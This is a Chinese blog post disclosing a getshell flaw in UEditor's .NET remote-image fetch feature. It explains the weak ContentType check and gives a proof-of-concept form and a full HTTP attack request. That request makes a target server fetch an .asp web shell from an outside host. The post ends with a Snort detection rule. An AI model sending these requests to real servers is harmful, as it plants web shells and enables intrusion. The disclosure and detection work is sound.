⭐百度开源编辑器UEditor .net版本存在任意外链上传导致getshell

原创 sauren  2018-11-27 14:30  阅读 433 views 次 评论 0 条

一、影响版本

ueditor<1.5.0

ueditor的github地址https://github.com/fex-team/ueditor/目前已经删除了net版本的上传,并且也停止了功能更新,仅维护BUG。

二、漏洞文件分析

net/App_Code/CrawlerHandler.cs

if (response.ContentType.IndexOf("image") == -1)
            {
                State = "Url is not an image";
                return this;
            }

如上述代码,这里的外链上传仅检测了ContentType,导致了我们随意修改下报文即刻绕过限制。

三、POC

<form action="http://xx.com/editor/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">
  <p>shell addr: <input type="text" name="source[]" /></p>
  <input type="submit" value="Submit" />
</form>

填入shell文件地址提交后,返回如下:

{"state":"SUCCESS","list":[{"state":"SUCCESS","source":"http://www.xxxx.com//upload/Encyclopedias/201808/03/2018080300550278683.png?.aspx","url":"/upload/image/201808/03/6366885698033038502306919.aspx"}]}

shell路径亦在返回的报文内。

完整的攻击报文如下

POST /controller.ashx?action=catchimage HTTP/1.1
Host: x.com
User-Agent: Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 6.1)
Content-Type: application/x-www-form-urlencoded; Charset=UTF-8
Accept: */*
Accept-Language: zh-cn
Content-Length: 55

source[]=http://www.mj567.com/static/image/asp.gif?.asp

四、snort防御检测规则

alert tcp  $EXTERNAL_NET any -> $HOME_NET $HTTP_PORTS (msg:"Ueditor .net getshell";  content:".ashx?action=catchimage";nocase; content:"?.asp";nocase; sid:103031; rev:1; )

 

本文地址:/archives/68.html
版权声明:本文为原创文章,版权归 sauren 所有,欢迎分享本文,转载请保留出处!
高性能云服务器特惠

发表评论


表情